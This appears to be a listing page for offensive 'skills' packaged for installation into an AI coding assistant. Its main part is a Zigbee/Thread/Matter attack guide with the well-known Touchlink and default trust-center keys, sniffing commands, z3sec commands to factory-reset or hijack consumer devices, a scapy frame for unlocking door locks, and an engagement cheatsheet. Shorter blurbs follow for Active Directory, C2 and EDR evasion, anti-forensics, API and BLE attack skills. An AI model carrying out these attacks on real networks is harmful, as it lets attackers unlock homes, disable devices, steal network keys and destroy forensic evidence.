offensive-zigbee-thread-matter
Offensive-zigbee-thread-matter is a mesh-protocol attack toolkit targeting IEEE 802.15.4-based smart-home networks, covering sniffing via TI CC2531/CC2540 or Sonoff dongles with KillerBee, Touchlink commissioning abuse using well-known transport keys, and ZCL command injection for lights and locks. Deploy against Zigbee door locks, lighting systems, Thread networks, and Matter-enabled devices to capture network credentials, perform replay attacks, or remotely control commissioned devices.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red /tmp/offensive-zigbee-thread-matter && cp -r /tmp/offensive-zigbee-thread-matter/Skills/wireless/offensive-zigbee-thread-matter ~/.claude/skills/offensive-zigbee-thread-matterSKILL.md
# Zigbee / Thread / Matter Attacks 802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls. ## Quick Workflow 1. Sniff target frequency (channels 11–26 in 2.4 GHz) 2. Identify network coordinator and joining devices 3. For Zigbee: try Touchlink commissioning with the well-known key 4. Capture join-key exchange when devices commission 5. Replay or inject ZCL/ZHA cluster commands --- ## Hardware | Adapter | Use | |---|---| | TI CC2531 USB stick | Cheap, works with Zigbee2MQTT, KillerBee | | TI CC2540 / CC2652 | Zigbee + Thread + BLE | | Sonoff Zigbee Dongle E (CC2652P) | Modern, well-supported | | ApiMote (KillerBee dev) | Multi-channel, scapy-dot15d4 | | HackRF + appropriate firmware | Lower-level RF flexibility | ## Discovery + Sniffing ```bash # KillerBee suite zbstumbler -i 0 # find Zigbee networks zbid # ID coordinators zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap # scapy-dot15d4 for crafted frames python3 >>> from scapy.contrib.dot15d4 import * >>> sniff(iface='/dev/ttyACM0', count=50) ``` In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands. ## Touchlink Commissioning Abuse Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a **well-known transport key**: ``` 0x9F559A553B7A6B2C5C4FBB4E84956F3D ``` Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs. ```bash # z3sec — Zigbee 3 commissioning attack toolkit git clone https://github.com/IoTsec/Z3sec python z3sec_inter_pan.py --command "factory_reset_request" --device <addr> python z3sec_inter_pan.py --command "join_network" --network <PANID> ``` Outcomes: - Factory-reset victim devices remotely (DoS / mass disrupt) - Steal lights / sensors into attacker network - Read network keys after joining device-to-network ## Network Key Capture During Joins ```bash # Capture coordinator + joining device exchange zbdump -c <ch> -w join.pcap # Decrypt if you obtain the trust center link key # Older Zigbee 1.x networks used a default trust center link key: # ZigBeeAlliance09 # Modern networks use device-specific install codes ``` Once you have the network key, all traffic on that mesh is decrypted in Wireshark. ## ZCL / ZHA Cluster Command Abuse Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device: ```python # scapy-dot15d4 frame to unlock a door lock from scapy.contrib.dot15d4 import * from scapy.contrib.zigbee import * frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...) sendp(frame, iface='/dev/ttyACM0') ``` The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic. ## Thread Specifics Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto. - Network credential is a **commissioner-distributed PSKc** - Devices join with the commissioner present - Mesh commissioning protocol is over UDP/CoAP Attack surface: - PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app) - Reusing a leaked credential to join target network - 6LoWPAN routing attacks (rank manipulation, sinkhole) ## Matter Commissioning Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model: - QR code or manual setup code grants commissioning permission - Bluetooth LE used for initial commissioning - Subsequent communication over Wi-Fi or Thread Attack surface: - Setup-code reuse / replay if commissioning window not closed - BLE-MITM during initial commissioning (see `offensive-bluetooth-ble`) - Fabric-attestation flaws in early implementations ## Detection - Coordinator may log unexpected device joins - Hub apps surface "new device" notifications — commonly ignored by users - Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4 ## Engagement Cheatsheet ```bash # 1. Identify networks + channels zbstumbler -i 0 # 2. Sniff target channel zbdump -c <ch> -w cap.pcap # Open in Wireshark with dot15d4/zigbee dissectors # 3. Touchlink attack on consumer Zigbee 3.0 lighting python z3sec_inter_pan.py --command "factory_reset_request" --target <addr> # 4. Steal device into attacker network python z3sec_inter_pan.py --command "join_network" --target <addr> # 5. With network key, issue ZCL commands directly # (custom scapy-dot15d4 + zbee_nwk frames) # 6. For Thread: focus on commissioner / PSKc theft from companion apps ``` --- ## Key References - KillerBee: github.com/riverloopsec/killerbee - Z3sec: github.com/IoTsec/Z3sec - "Zigbee Insecurity" research (CON Black Hat talks) - Thread spec: threadgroup.org/support - Matter / CSA spec: csa-iot.org/all-solutions/matter - Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
Active Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
Comprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
Bluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.